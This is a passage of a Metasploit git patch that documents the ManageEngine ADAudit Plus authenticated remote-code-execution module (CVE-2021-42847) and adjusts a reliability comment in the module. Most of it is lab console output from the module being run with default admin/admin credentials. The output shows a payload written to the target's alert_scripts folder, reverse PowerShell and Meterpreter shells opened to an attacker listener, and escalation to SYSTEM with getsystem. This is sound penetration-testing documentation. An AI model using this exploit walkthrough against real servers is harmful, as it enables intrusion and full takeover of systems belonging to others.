https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html +RPORT 8081 yes The target port (TCP) +SSL false no Negotiate SSL/TLS for outgoing connections +TARGETURI / yes The base path to ManageEngine ADAudit Plus +USERNAME admin yes Username to authenticate with +VHOST no HTTP server virtual host + + +Payload options (cmd/windows/powershell_reverse_tcp): + +Name Current Setting Required Description + ---- --------------- -------- ----------- +LHOST 192.168.204.128 yes The listen address (an interface may be specified) +LOAD_MODULES no A list of powershell modules separated by a comma to download over the web +LPORT 4444 yes The listen port + + +Exploit target: + +Id Name + -- ---- +0 Windows Command + + + +View the full module info with the info, or info -d command. + +msf6 exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) > set payload cmd/windows/powershell/x64/meterpreter/reverse_tcp +payload => cmd/windows/powershell/x64/meterpreter/reverse_tcp +msf6 exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) > exploit + +[*] Started reverse TCP handler on 192.168.204.128:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Using configured authentication domain alias DAFOREST. +[*] Attempting to authenticate to ADAuditPlus Authentication with username: admin and password: admin +[*] Found 1 configured domain(s): daforest.com +[+] Successfully authenticated +[+] The target appears to be vulnerable. The target is ADAudit Plus 6077 +[*] Attempting to create an alert profile +[+] Successfully created alert profile iEQnR24qE9n1 +[*] Attempting to trigger the payload via an authentication attempt for domain DAFOREST using incorrect credentials. +[*] Received expected reply when trying to trigger the payload. Let's hope we get a shell... +[*] Sending stage (200774 bytes) to 192.168.204.132 +[*] Sending stage (200774 bytes) to 192.168.204.132 +[-] Failed to load extension: uninitialized constant Rex::Post::Meterpreter::Extensions::Stdapi::Stdapi +WARNING: Local file /home/gwillcox/git/metasploit-framework/data/meterpreter/ext_server_priv.x64.dll is being used +WARNING: Local files may be incompatible with the Metasploit Framework +[!] If the client portion of stdapi or priv fails to load, you can do so manually via 'load stdapi' and/or load priv' +[*] Meterpreter session 4 opened (192.168.204.128:4444 -> 192.168.204.132:62858) at 2023-05-04 19:45:48 -0500 +[*] Attempting to delete alert profile iEQnR24qE9n1 +[*] Meterpreter session 3 opened (192.168.204.128:4444 -> 192.168.204.132:62857) at 2023-05-04 19:45:48 -0500 +[+] Successfully deleted alert profile iEQnR24qE9n1 + +meterpreter > load stdapi +Loading extension stdapi...Success. +meterpreter > load priv +[!] The "priv" extension has already been loaded. +meterpreter > whoami +[-] Unknown command: whoami +meterpreter > getuid +Server username: DAFOREST\Administrator +meterpreter > getprivs + +Enabled Process Privileges +========================== + +Name +---- +SeBackupPrivilege +SeChangeNotifyPrivilege +SeCreateGlobalPrivilege +SeCreatePagefilePrivilege +SeCreateSymbolicLinkPrivilege +SeDebugPrivilege +SeDelegateSessionUserImpersonatePrivilege +SeEnableDelegationPrivilege +SeImpersonatePrivilege +SeIncreaseBasePriorityPrivilege +SeIncreaseQuotaPrivilege +SeIncreaseWorkingSetPrivilege +SeLoadDriverPrivilege +SeMachineAccountPrivilege +SeManageVolumePrivilege +SeProfileSingleProcessPrivilege +SeRemoteShutdownPrivilege +SeRestorePrivilege +SeSecurityPrivilege +SeShutdownPrivilege +SeSystemEnvironmentPrivilege +SeSystemProfilePrivilege +SeSystemtimePrivilege +SeTakeOwnershipPrivilege +SeTimeZonePrivilege +SeUndockPrivilege + +meterpreter > getsystem +...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)). +meterpreter > getuid +Server username: NT AUTHORITY\SYSTEM +meterpreter > +``` \ No newline at end of file From f773d348e1e9f23635d3112c5eb64c0e65528b5d Mon Sep 17 00:00:00 2001 From: Grant Willcox <gwillcox@rapid7.com> Date: Mon, 8 May 2023 12:11:01 -0500 Subject: [PATCH 26/26] Add in notes about reliability of the module, and also add documentation on 7005 test on Windows 2022 --- ...geengine_adaudit_plus_authenticated_rce.md | 97 ++++++++++++++++++- ...geengine_adaudit_plus_authenticated_rce.rb | 2 +- 2 files changed, 97 insertions(+), 2 deletions(-) diff --git a/documentation/modules/exploit/windows/http/manageengine_adaudit_plus_authenticated_rce.md b/documentation/modules/exploit/windows/http/manageengine_adaudit_plus_authenticated_rce.md index 596a038ed0..587ac65f80 100644 --- a/documentation/modules/exploit/windows/http/manageengine_adaudit_plus_authenticated_rce.md +++ b/documentation/modules/exploit/windows/http/manageengine_adaudit_plus_authenticated_rce.md @@ -31,6 +31,10 @@ It has been successfully tested against ManageEngine ADAudit Plus builds Successful exploitation will result in RCE as the user running ManageEngine ADAudit Plus, which will typically be the local administrator. +Note that exploitation may require a few attempts before a shell is returned. This is because there may be a delay before +ManageEngine AdAudit Plus will properly fetch and process the alert which has been triggered. It is advisable to try a few +times, wait a bit, and then try again if you haven't gotten a shell. + ## Installation Information Vulnerable versions of ADAudit Plus are available [here](https://archives2.manageengine.com/active-directory-audit/). Versions 7005 and prior are vulnerable by default, so no special configuration is required after installing the application. @@ -369,4 +373,95 @@ meterpreter > getsystem meterpreter > getuid Server username: NT AUTHORITY\SYSTEM meterpreter > -``` \ No newline at end of file +``` + +### ManageEngine ADAudit Plus build 7005 running on Windows Server 2022 - Powershell Payload + +``` +msf6 > use exploit/windows/http/manageengine_adaudit_plus_authenticated_rce +[*] Using configured payload cmd/windows/powershell_reverse_tcp +msf6 exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) > set RHOST 192.168.204.136 +RHOST => 192.168.204.136 +msf6 exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) > set LHOST 192.168.204.128 +LHOST => 192.168.204.128 +msf6 exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) > show options + +Module options (exploit/windows/http/manageengine_adaudit_plus_authenticated_rce): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + AUTH_DOMAIN ADAuditPlus Authentication yes ADAudit Plus authentication domain (default is ADAuditPlus Authentication) + PASSWORD admin yes Password to authenticate with + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS 192.168.204.136 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html + RPORT 8081 yes The target port (TCP) + SSL false no Negotiate SSL/TLS for outgoing connections + TARGETURI / yes The base path to ManageEngine ADAudit Plus + USERNAME admin yes Username to authenticate with + VHOST no HTTP server virtual host + + +Payload options (cmd/windows/powershell_reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + LHOST 192.168.204.128 yes The listen address (an interface may be specified) + LOAD_MODULES no A list of powershell modules separated by a comma to download over the web + LPORT 4444 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 0 Windows Command + + + +View the full module info with the info, or info -d command. + +msf6 exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) > exploit + +[*] Started reverse TCP handler on 192.168.204.128:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Using configured authentication domain alias DAFOREST. +[*] Attempting to authenticate to ADAuditPlus Authentication with username: admin and password: admin +[*] Found 1 configured domain(s): daforest.com +[+] Successfully authenticated +[+] The target appears to be vulnerable. The target is ADAudit Plus 7005 and the endpoint for CVE-2021-42847 exists. +[*] Attempting to authenticate again in order to retrieve the required cookies. +[*] Attempting to create an alert profile +[*] Attempting to write the payload to /alert_scripts/akbgtwuva.ps1 +[+] Successfully wrote the payload to /alert_scripts/akbgtwuva.ps1 in the ManageEngine ADAudit Plus install directory +[+] Successfully created alert profile VA8dDG52p5 +[*] Attempting to trigger the payload via an authentication attempt for domain DAFOREST using incorrect credentials. +[*] Received expected reply when trying to trigger the payload. Let's hope we get a shell... +[!] Make sure to manually cleanup the akbgtwuva.ps1 file from /alert_scripts/ in the ManageEngine ADAudit Plus install directory +[*] Powershell session session 2 opened (192.168.204.128:4444 -> 192.168.204.136:53465) at 2023-05-08 12:01:55 -0500 +[*] Powershell session session 1 opened (192.168.204.128:4444 -> 192.168.204.136:53464) at 2023-05-08 12:01:55 -0500 +[*] Attempting to delete alert profile VA8dDG52p5 +[+] Successfully deleted alert profile VA8dDG52p5 + +PS C:\Program Files\ManageEngine\ADAudit Plus\bin> whoami +daforest\administrator +PS C:\Program Files\ManageEngine\ADAudit Plus\bin> pwd + +Path +---- +C:\Program Files\ManageEngine\ADAudit Plus\bin + + +PS C:\Program Files\ManageEngine\ADAudit Plus\bin> ^Z +Background session 2? [y/N] y +msf6 exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) > sessions + +Active sessions +=============== + + Id Name Type Information Connection + -- ---- ---- ----------- ---------- + 1 powershell windows Administrator @ WIN-BRSHGJGIDFM 192.168.204.128:4444 -> 192.168.204.136:53464 (192.168.204.136) + 2 powershell windows Administrator @ WIN-BRSHGJGIDFM 192.168.204.128:4444 -> 192.168.204.136:53465 (192.168.204.136) + +msf6 exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) > +``` diff --git a/modules/exploits/windows/http/manageengine_adaudit_plus_authenticated_rce.rb b/modules/exploits/windows/http/manageengine_adaudit_plus_authenticated_rce.rb index d9258fd57f..39e4cafe8d 100644 --- a/modules/exploits/windows/http/manageengine_adaudit_plus_authenticated_rce.rb +++ b/modules/exploits/windows/http/manageengine_adaudit_plus_authenticated_rce.rb @@ -80,7 +80,7 @@ class MetasploitModule < Msf::Exploit::Remote }, 'Notes' => { 'Stability' => [CRASH_SAFE], - 'Reliability' => [FIRST_ATTEMPT_FAIL], + 'Reliability' => [FIRST_ATTEMPT_FAIL], # This exploit may fail on its first few attempts whilst the remote system is processing alert updates. 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] } )